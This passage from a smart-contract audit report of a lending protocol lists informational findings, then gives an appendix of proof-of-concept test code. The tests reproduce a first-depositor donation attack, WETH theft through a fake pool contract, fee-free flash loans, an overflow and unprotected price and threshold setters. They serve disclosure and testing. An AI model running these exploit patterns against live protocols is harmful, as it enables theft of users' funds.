We recommend implementing the traits so events are emitted, similar to `contracts/controller/lib.rs:53`.

Status: Resolved

37. Inefficient execution flows can be improved

Severity: Informational

In several instances of the codebase, an inefficient execution flow can be improved.

Firstly, in `logics/impls/controller/mod.rs:1081`, `1183`, `1237`, and `1373`, the `controller` contract loops through all of the markets and performs a cross-contract call for every iteration. Using lazily loaded mappings instead of vectors will prevent costly loops.

Secondly, implementing validations before performing cross-contract calls could save gas by short-circuiting the transaction:

- `logics/impls/pool/mod.rs:768`
- `logics/impls/pool/mod.rs:1085`
- `logics/impls/pool/mod.rs:1088`
- `logics/impls/pool/mod.rs:1093`
- `logics/impls/pool/mod.rs:1096`
- `logics/impls/pool/mod.rs:1176`

Thirdly, the `diff` function can be used instead of the `abs_diff` function in `logics/impls/pool/utils.rs:121-123`.

Fourthly, implementing validation on whether a pool is listed in the `controller` contract will reduce execution time and gas fees in `_redeem_allowed` and `_borrow_allowed` functions (see `logics/impls/controller/mod.rs:725` and `790`).

Lastly, the `flashloan` function in `logics/impls/flashloan_gateway.rs:67-68` allocates the `lp_token_addresses` and `premiums` vectors. Since the length of both vectors is known and equals the length of the user-provided `assets` vector, it is possible to create a vector with the correct capacity to remove subsequent reallocations, preserving gas fees.

Recommendation

We recommend implementing the recommendations above to reduce inefficiencies and decrease gas consumption.

Status: Partially Resolved

38. No operation functions in the codebase

Severity: Informational

In several instances in `logics/impls/controller/mod.rs`, the following functions do not implement any meaningful logic:

- `_transfer_verify`
- `_seize_verify`
- `_liquidate_borrow_verify`
- `_redeem_verify`
- `_mint_verify`
- `_borrow_verify`
- `_repay_borrow_allowed`
- `_repay_borrow_verify`

Additionally, in `logics/impls/pool/mod.rs:1395`, the `_accrue_reward` function calls the `handle_action` function from the `IncentivesController` contract. However, the `handle_action` function is a mock implementation that simply returns an `Ok` result if it is configured to do so.

Recommendation

We recommend either implementing logic for the functions listed in this finding or removing them from the codebase.

Status: Resolved

Appendix

1. **Test case 1 for "Attackers can steal funds by being the first depositor of the pool"**

```
describe('.first depositor attack', () => {
    /*
    reproduced in `tests/Pool2.spec.ts`
    command: `yarn test:typechain --testNamePattern "first depositor attack"`
    */
    const setupExtended = async () => {
      const {
        api,
        deployer,
        controller,
        users,
        priceOracle,
        pools,
        gasLimit,
        incentivesController,
      } = await setup()

      const token = await deployPSP22Token({
        api: api,
        signer: deployer,
        args: [0, 'Dai Stablecoin', 'DAI', 8],
      })
      await priceOracle.tx.setFixedPrice(token.address, ONE_ETHER)
      const dai = SUPPORTED_TOKENS.dai
      const rateModel = await deployDefaultInterestRateModel({
        api,
        signer: deployer,
        args: [
          [dai.rateModel.baseRatePerYear()],
          [dai.rateModel.multiplierPerYearSlope1()],
          [dai.rateModel.multiplierPerYearSlope2()],
          [dai.rateModel.kink()],
        ],
      })

      const pool = await deployPoolFromAsset({
        api,
        signer: deployer,
        args: [
          incentivesController.address,
          token.address,
          controller.address,
          rateModel.address,
```

```
        [ONE_ETHER.toString()],
        10000,
      ],
      token: token,
    })
    await controller.tx.supportMarketWithCollateralFactorMantissa(
      pool.address,
      token.address,
      [dai.riskParameter.collateralFactor],
    )
    return { users, api, pools, deployer, controller, pool, token, gasLimit }
  }
  describe('on DAI Stablecoin', () => {
    it('poc', async () => {
      const { pool, users, token } = await setupExtended()
      const [attacker, victim] = users
      // const otherPool = pools.usdt
      const deposit = 1
      const victimDepositAmount = 1000
      const donationAmount = victimDepositAmount + 1

      // attacker deposit little amount
      await shouldNotRevert(token.withSigner(attacker), 'mint', [
        attacker.address,
        deposit,
      ])
      await shouldNotRevert(token.withSigner(attacker), 'approve', [
        pool.address,
        deposit,
      ])
      await shouldNotRevert(pool.withSigner(attacker), 'mint', [deposit])

      let balance = await (
        await pool.query.balanceOf(attacker.address)
      ).value.ok.toString()
      console.log('pre-donation: attacker balance in pool: ' + balance)

      // victim wants to deposit funds
      // attacker frontruns victim and donates more funds to pool
      await shouldNotRevert(token.withSigner(attacker), 'mint', [
        attacker.address,
        donationAmount,
      ])
      await shouldNotRevert(token.withSigner(attacker), 'transfer', [
        pool.address,
        donationAmount,
        [],
      ])

      balance = await (
```

```
        await pool.query.balanceOf(attacker.address)
      ).value.ok.toString()
      console.log('post-donation: attacker balance in pool: ' + balance)

      // victim tx went through and they deposit
      await shouldNotRevert(token.withSigner(victim), 'mint', [
        victim.address,
        victimDepositAmount,
      ])
      await shouldNotRevert(token.withSigner(victim), 'approve', [
        pool.address,
        victimDepositAmount,
      ])
      await shouldNotRevert(pool.withSigner(victim), 'mint', [
        victimDepositAmount,
      ])

      balance = await (
        await pool.query.balanceOf(victim.address)
      ).value.ok.toString()
      console.log('victim balance in pool: ' + balance)

      balance = await (
        await pool.query.balanceOf(attacker.address)
      ).value.ok.toString()
      console.log('attacker balance in pool: ' + balance)

      // attacker owns all
      balance = await (
        await pool.query.balanceOf(attacker.address)
      ).value.ok.toString()

      const totalSupply = await (
        await token.query.totalSupply()
      ).value.ok.toString()

      expect(balance).toBe(totalSupply)
    })
  })
})
```

2. Test case 2 for "Attackers can steal funds by being the first depositor of the pool"

```
describe('.inflate exchange rate', () => {
    /*
    reproduced in `tests/Pool2.spec.ts`
    command: `yarn test:typechain --testNamePattern "inflate exchange rate"`
    */
    const setupExtended = async () => {
      const {
        api,
        deployer,
        controller,
        users,
        priceOracle,
        pools,
        gasLimit,
        incentivesController,
      } = await setup()

      const token = await deployPSP22Token({
        api: api,
        signer: deployer,
        args: [0, 'Dai Stablecoin', 'DAI', 8],
      })
      await priceOracle.tx.setFixedPrice(token.address, ONE_ETHER)
      const dai = SUPPORTED_TOKENS.dai
      const rateModel = await deployDefaultInterestRateModel({
        api,
        signer: deployer,
        args: [
          [dai.rateModel.baseRatePerYear()],
          [dai.rateModel.multiplierPerYearSlope1()],
          [dai.rateModel.multiplierPerYearSlope2()],
          [dai.rateModel.kink()],
        ],
      })

      const pool = await deployPoolFromAsset({
        api,
        signer: deployer,
        args: [
          incentivesController.address,
          token.address,
          controller.address,
          rateModel.address,
          [ONE_ETHER.toString()],
          10000,
        ],
        token: token,
```

```
    })
    await controller.tx.supportMarketWithCollateralFactorMantissa(
      pool.address,
      token.address,
      [dai.riskParameter.collateralFactor],
    )
    return { users, api, pools, deployer, controller, pool, token, gasLimit }
  }
  describe('.poc', () => {
    it('execute', async () => {
      const { pool, users, token, pools } = await setupExtended()
      const [attacker, victim] = users
      const usdt = pools.usdt.token
      const usdtPool = pools.usdt.pool
      const deposit = 1
      const victimDepositAmount = 1_000_000
      const donationAmount = 1_000

      let userBalance
      let poolBalance
      let xchangeRate

      const logBalance = async (
        token,
        usdt,
        pool,
        usdtPool,
        victim,
        attacker,
      ) => {
        let logOutput = ''

        // DAI balance in the DAI pool
        poolBalance = await (
          await token.query.balanceOf(pool.address)
        ).value.ok.toString()
        logOutput += 'DAI balance in DAI pool: ' + poolBalance + '\n'

        // USDT balance in the USDT pool
        poolBalance = await (
          await usdt.query.balanceOf(usdtPool.address)
        ).value.ok.toString()
        logOutput += 'USDT balance in USDT pool: ' + poolBalance + '\n'

        // DAI balance of the attacker
        userBalance = await (
          await token.query.balanceOf(attacker.address)
        ).value.ok.toString()
        logOutput += 'DAI balance of attacker: ' + userBalance + '\n'
```

```
    logOutput += '-----------------------------------------\n'

    // victim pool tokens in DAI pool
    poolBalance = await (
      await pool.query.balanceOf(victim.address)
    ).value.ok.toString()
    logOutput += 'victim pool tokens in DAI pool: ' + poolBalance + '\n'

    // victim pool tokens in USDT pool
    poolBalance = await (
      await usdtPool.query.balanceOf(victim.address)
    ).value.ok.toString()
    logOutput += 'victim pool tokens in USDT pool: ' + poolBalance + '\n'

    // attacker pool tokens in DAI pool
    poolBalance = await (
      await pool.query.balanceOf(attacker.address)
    ).value.ok.toString()
    logOutput += 'attacker pool tokens in DAI pool: ' + poolBalance + '\n'

    // attacker pool tokens in USDT pool
    poolBalance = await (
      await usdtPool.query.balanceOf(attacker.address)
    ).value.ok.toString()
    logOutput +=
      'attacker pool tokens in USDT pool: ' + poolBalance + '\n'

    logOutput += '-----------------------------------------\n'

    // DAI pool exchange rate
    xchangeRate = await (
      await pool.query.exchangeRateStored()
    ).value.ok.toString()
    logOutput += 'DAI pool exchange rate: ' + xchangeRate + '\n'

    // USDT pool exchange rate
    xchangeRate = await (
      await usdtPool.query.exchangeRateStored()
    ).value.ok.toString()
    logOutput += 'USDT pool exchange rate: ' + xchangeRate + '\n'

    console.log(logOutput)
  }

  // 0. initial state
  console.log('0. initial state.')

  await logBalance(token, usdt, pool, usdtPool, victim, attacker)

  // 1. victim normal deposit in pool, attacker will steal this
```

```
        await shouldNotRevert(token.withSigner(victim), 'mint', [
          victim.address,
          victimDepositAmount,
        ])
        await shouldNotRevert(token.withSigner(victim), 'approve', [
          pool.address,
          victimDepositAmount,
        ])
        await shouldNotRevert(pool.withSigner(victim), 'mint', [
          victimDepositAmount,
        ])

        console.log(
          '1. victim deposits ' + victimDepositAmount + ' DAI into DAI pool.',
        )

        await logBalance(token, usdt, pool, usdtPool, victim, attacker)

        // 2. attacker deposit little amount into empty pool
        await shouldNotRevert(usdt.withSigner(attacker), 'mint', [
          attacker.address,
          deposit,
        ])
        await shouldNotRevert(usdt.withSigner(attacker), 'approve', [
          usdtPool.address,
          deposit,
        ])
        await shouldNotRevert(usdtPool.withSigner(attacker), 'mint', [deposit])

        console.log('2. attacker deposits ' + deposit + ' USDT into USDT pool.')

        await logBalance(token, usdt, pool, usdtPool, victim, attacker)

        // 3. attacker donates funds to pool
        await shouldNotRevert(usdt.withSigner(attacker), 'mint', [
          attacker.address,
          donationAmount,
        ])
        await shouldNotRevert(usdt.withSigner(attacker), 'transfer', [
          usdtPool.address,
          donationAmount,
          [],
        ])

        console.log(
          '3. attacker donates ' + donationAmount + ' USDT into USDT pool.',
        )

        await logBalance(token, usdt, pool, usdtPool, victim, attacker)
```

```
      // 4. attacker borrow all funds in DAI pool
      await shouldNotRevert(pool.withSigner(attacker), 'borrow', [
        victimDepositAmount,
      ])

      console.log(
        '4. attacker borrows ' + victimDepositAmount + ' DAI from DAI pool.',
      )

      await logBalance(token, usdt, pool, usdtPool, victim, attacker)
    })
  })
})
```

3. Test case for "Attackers can increase users' debt by repaying a loan on their behalf"

```
describe.only('repay_borrow_behalf overflow', () => {
    /*
    reproduced in `tests/Pool1.spec.ts`
    command: `yarn test:typechain --testNamePattern "repay_borrow_behalf"`
    */
    let deployer: KeyringPair
    let pools: Pools
    let users: KeyringPair[]

    beforeAll(async () => {
      ;({ deployer, users, pools } = await setup())
    })

    it('prepare', async () => {
      const { dai, usdc } = pools

      // add liquidity to usdc pool
      await usdc.token.tx.mint(deployer.address, toDec6(100_000))
      await usdc.token.tx.approve(usdc.pool.address, toDec6(100_000))
      await usdc.pool.tx.mint(toDec6(100_000))
      expect(
        BigInt(
          (
            await usdc.pool.query.balanceOf(deployer.address)
          ).value.ok.toString(),
        ).toString(),
      ).toEqual(toDec6(100_000).toString())

      // mint to dai pool for collateral
      const [user1, user2] = users
      await dai.token.tx.mint(user1.address, toDec18(20_000))
      await dai.token.tx.mint(user2.address, toDec18(20_000))
      await dai.token
        .withSigner(user1)
        .tx.approve(dai.pool.address, toDec18(20_000))
      await dai.pool.withSigner(user1).tx.mint(toDec18(20_000))
      expect(
        BigInt(
          (await dai.pool.query.balanceOf(user1.address)).value.ok.toString(),
        ).toString(),
      ).toEqual(toDec18(20_000).toString())

      await usdc.token.tx.mint(user2.address, toDec6(20_000))

      // borrow usdc
      await usdc.pool.withSigner(user1).tx.borrow(toDec6(10_000))
      expect(
```

```
      BigInt(
        (await usdc.token.query.balanceOf(user1.address)).value.ok.toString(),
      ).toString(),
    ).toEqual(toDec6(10_000).toString())
  })

  it('execute', async () => {
    const { token, pool } = pools.usdc
    const [user1, user2] = users

    await token.withSigner(user2).tx.approve(pool.address, toDec6(20_000))

    const { events } = await pool
      .withSigner(user2)
      .tx.repayBorrowBehalf(user1.address, toDec6(10_001))

    const event = events[0]
    console.log(event)
    console.log('repay amount: ', event.args.repayAmount.toString())
    console.log(
      'accountBorrows amount : ',
      event.args.accountBorrows.toString(),
    )
    console.log(
      'totalBorrows amount (this overflowed): ',
      event.args.totalBorrows.toString(),
    )

    const data = (await pool.query.getAccountSnapshot(user1.address)).value.ok
    console.log('balanceOf: ', data[0].toString())
    console.log(
      'borrow balance stored (this overflowed): ',
      data[1].toString(),
    )
    console.log('exchange rate stored: ', data[2].toString())
  })
})
```

4. Test case for "Unauthorized pool liquidation threshold modification"

```
it('Unprotected liquidation threshold setter', async () => {
    /*
    reproduced in `tests/Pool1.spec.ts`
    command: `yarn test:typechain --testNamePattern "Unprotected liquidation
threshold setter"`
    */
    const { pools, users } = await setup()

    const liqThresholdBefore = (
      await pools.dai.pool.query.liquidationThreshold()
    ).value.ok.toString()
    console.log('threshold before: ', liqThresholdBefore)

    await pools.dai.pool.withSigner(users[1]).tx.setLiquidationThreshold(10)

    const liqThresholdAfter1 = (
      await pools.dai.pool.query.liquidationThreshold()
    ).value.ok.toString()
    console.log('threshold before: ', liqThresholdAfter1)

    await pools.dai.pool
      .withSigner(users[0])
      .tx.setLiquidationThreshold(100000000)

    const liqThresholdAfter2 = (
      await pools.dai.pool.query.liquidationThreshold()
    ).value.ok.toString()
    console.log('threshold before: ', liqThresholdAfter2)

    await pools.dai.pool.tx.setController(users[0].address)
  })
```

5. Test case for "Unauthorized price oracle configurations"

```
describe('Unauthorized oracle price manipulation', () => {
    /*
    reproduced in `tests/Pool1.spec.ts`
    command: `yarn jest --testPathPattern "Pool1.spec.ts" -t "Unauthorized
oracle price manipulation" --runInBand --detectOpenHandles`
    */
    it('poc', async () => {
      const {
        api,
        deployer,
        controller,
        rateModel,
        priceOracle,
        users,
        incentivesController,
      } = await setup()

      const { dai } = await preparePoolsWithPreparedTokens({
        api,
        controller,
        rateModel,
        manager: deployer,
        incentivesController,
      })

      const usersWithBalance = [users[0], users[1]]
      const prices = [1, 10, 1000, 1000000]

      // any user can set any price
      for (const user of usersWithBalance) {
        for (const price of prices) {
          await priceOracle
            .withSigner(user)
            .tx.setFixedPrice(dai.token.address, price)

          const priceSet = (
            await priceOracle.query.getPrice(dai.token.address)
          ).value.ok.toString()
          expect(priceSet).toEqual(price.toString())
        }
      }
    })
  })
```

6. Test case for "Unauthorized delegate allowance modifications"

```
it('Unprotected allowance modification', async () => {
    /*
    reproduced in `tests/Pool1.spec.ts`
    command: `yarn jest --testPathPattern "tests/Pool1.spec.ts" -t "Unprotected
allowance modification" --runInBand --detectOpenHandles`
    */
    const { pools, users } = await setup()
    const { pool } = pools.dai
    const owner = users[2]
    const allowanceBefore = (
      await pool.query.delegateAllowance(owner.address, users[1].address)
    ).value.ok.toString()

    const zero = 0
    const ten = 10
    const two = 2

    expect(allowanceBefore).toEqual(zero.toString())

    await pool
      .withSigner(users[1])
      .tx.increaseDelegateAllowance(owner.address, users[1].address, ten)

    const allowanceAfter = (
      await pool.query.delegateAllowance(owner.address, users[1].address)
    ).value.ok.toString()
    expect(allowanceAfter).toEqual(ten.toString())

    // different user
    await pool
      .withSigner(users[0])
      .tx.decreaseDelegateAllowance(owner.address, users[1].address, two)

    const allowanceAfter2 = (
      await pool.query.delegateAllowance(owner.address, users[1].address)
    ).value.ok.toString()
    expect(allowanceAfter2).toEqual((ten - two).toString())
  })
```

7. Test case for "Native funds owned by the WETH gateway contract can be stolen"

```
import OakFakePool_Factory from '../types/constructors/oak_fake_pool'
import OakFakePool from '../types/contracts/oak_fake_pool'

/* The OakFakePool contract is a custom contract that implements the Pool
interface. For the sake of this finding, it is only important that the
`balance_of` function returns any value, and both `transfer_from` and
`redeem_underlying` return Ok(())
*/

describe('Steal WETH', () => {
  /*
  reproduced in `tests/WETHGateway.spec.ts`
  command: `yarn jest --testPathPattern "WETHGateway.spec.ts" -t "Steal WETH"
--runInBand --detectOpenHandles`
  */
  const rateModelArg = new BN(100).mul(ONE_ETHER)

  let api
  let deployer: KeyringPair
  let users: KeyringPair[]
  let weth: WETH
  let wethGateway: WETHGateway
  let gasLimit: WeightV2

  const setup = async () => {
    const { api, alice: deployer, bob, charlie, django } = globalThis.setup
    gasLimit = getGasLimit(api, MAX_CALL_WEIGHT, PROOFSIZE)
    const controller = await deployController({
      api,
      signer: deployer,
      args: [deployer.address],
    })
    const priceOracle = await deployPriceOracle({
      api,
      signer: deployer,
      args: [],
    })

    // temp: declare params for rate_model
    const rateModel = await deployDefaultInterestRateModel({
      api,
      signer: deployer,
      args: [[rateModelArg], [rateModelArg], [rateModelArg], [rateModelArg]],
    })

    // WETH and WETHGateway
    const weth = await deployWETH({
```

```
    api,
    signer: deployer,
    args: [],
  })

  const wethGateway = await deployWETHGateway({
    api,
    signer: deployer,
    args: [weth.address],
  })

  const incentivesController = await deployIncentivesController({
    api,
    signer: deployer,
    args: [],
  })

  const pools = await preparePoolsWithPreparedTokens({
    api,
    controller,
    rateModel,
    manager: deployer,
    wethToken: weth,
    incentivesController,
  })

  const users = [bob, charlie, django]

  // initialize
  await controller.tx.setPriceOracle(priceOracle.address)
  await controller.tx.setCloseFactorMantissa([ONE_ETHER])
  //// for pool
  for (const sym of [pools.weth]) {
    await priceOracle.tx.setFixedPrice(sym.token.address, ONE_ETHER)
    await controller.tx.supportMarketWithCollateralFactorMantissa(
      sym.pool.address,
      sym.token.address,
      [ONE_ETHER.mul(new BN(90)).div(new BN(100))],
    )
  }

  return {
    api,
    deployer,
    pools,
    rateModel,
    controller,
    priceOracle,
    users,
    weth,
```

```
      wethGateway,
      incentivesController,
    }
  }

  it('poc', async () => {
    ;({ weth, wethGateway, api, deployer, users } = await setup())
    const depositAmount = 3000

    // someone wraps their native token
    await weth.withSigner(deployer).tx.deposit({ value: depositAmount })
    expect(
      (await weth.query.balanceOf(deployer.address)).value.ok.toString(),
    ).toEqual(depositAmount.toString())

    // WETH Gateway holds some WETH balance
    const tranfserAmount = 1000
    await weth
      .withSigner(deployer)
      .tx.transfer(wethGateway.address, tranfserAmount, [''])

    expect(
      (await weth.query.balanceOf(wethGateway.address)).value.ok.toString(),
    ).toEqual(tranfserAmount.toString())

    // Deploying fake Pool
    const fakePoolFactory = new OakFakePool_Factory(api, deployer)
    const contract = await fakePoolFactory.new()
    const fakePool = new OakFakePool(contract.address, deployer, api)

    await wethGateway
      .withSigner(users[1])
      .tx.withdrawEth(fakePool.address, tranfserAmount)

    const zero = 0
    expect(
      (await weth.query.balanceOf(wethGateway.address)).value.ok.toString(),
    ).toEqual(zero.toString())
  })
})
```

A snippet of the `OakFakePool` contract:

```
// (...)
#[ink(storage)]
#[derive(Default, Storage)]
pub struct OakFakePool {}

impl psp22::PSP22 for OakFakePool {
    #[ink(message)]
    fn transfer_from(
        &mut self,
        _from: AccountId,
        _to: AccountId,
        _value: Balance,
        _data: Vec<u8>,
    ) -> core::result::Result<(), PSP22Error> {
        Ok(())
    }

    #[ink(message)]
    fn balance_of(&self, _owner: AccountId) -> Balance {
        10
    }
    // (...)
}

impl Pool for OakFakePool {
    #[ink(message)]
    fn transfer_underlying(&mut self, _to: AccountId, _amount: Balance) ->
Result<()> {
        Ok(())
    }
    // (...)
}
```

8. Test case for "Flash loans can be initiated without paying fee premiums"

```
it('free flashloans', async () => {
    /*
    reproduced in `tests/Flashloan.spec.ts`
    command: `yarn test:typechain --testNamePattern "free flashloans"`
    note: the flashloan receiver contract was modified to use increase_allowance
function instead of approve
    */
    // adding some liquidity
    await shouldNotRevert(dai.token, 'mint', [deployer.address, depositedDai])
    await shouldNotRevert(dai.token, 'approve', [
      dai.pool.address,
      depositedDai,
    ])
    await shouldNotRevert(dai.pool, 'mint', [depositedDai])

    await shouldNotRevert(usdc.token, 'mint', [deployer.address, depositedUsdc])
    await shouldNotRevert(usdc.token, 'approve', [
      usdc.pool.address,
      depositedUsdc,
    ])
    await shouldNotRevert(usdc.pool, 'mint', [depositedUsdc])

    await shouldNotRevert(usdt.token, 'mint', [deployer.address, depositedUsdt])
    await shouldNotRevert(usdt.token, 'approve', [
      usdt.pool.address,
      depositedUsdt,
    ])
    await shouldNotRevert(usdt.pool, 'mint', [depositedUsdt])

    // NOTE: USER HAS NO BALANCE HERE
    const userBalanceBefore = await dai.token.query.balanceOf(users[0].address)
    console.log(
      'User balance before flashloan: ',
      userBalanceBefore.value.unwrap(),
    )

    const flashloanAmount = 1100 // So that after multiplying with premiumTotal
it stays below 10000
    const result = (
      await flashloanGateway
        .withSigner(users[0])
        .query.flashloan(
          flashloanReceiver.address,
          [
            dai.token.address,
            dai.token.address,
            dai.token.address,
```

```
            dai.token.address,
          ],
          [flashloanAmount, flashloanAmount, flashloanAmount, flashloanAmount],
          [0, 0, 0, 0],
          users[0].address,
          [],
        )
    ).value.ok

    console.log(result)
  })
```

9. Test case for "Supporting markets with existing underlying tokens overwrites market pair"

```
it('.support_market_same_underlying', async () => {
    /*
    reproduced in `tests/Controller.spec.ts`
    command: `yarn test:typechain --testNamePattern
"support_market_same_underlying"`
    */
    const { api, deployer, rateModel, controller, incentivesController } =
      await setup()

    const pools = await preparePoolsWithPreparedTokens({
      api,
      controller,
      rateModel,
      manager: deployer,
      incentivesController,
    })

    await controller.tx.supportMarket(
      pools.dai.pool.address,
      pools.dai.token.address,
    )

    await controller.tx.supportMarket(
      pools.usdc.pool.address,
      pools.dai.token.address,
    )
    const markets = (await controller.query.markets()).value.ok
    expect(markets.length).toBe(2)

    const market = await controller.query.marketOfUnderlying(
      pools.dai.token.address,
    )
    expect(market.value.ok).toBe(pools.dai.pool.address)
  })
```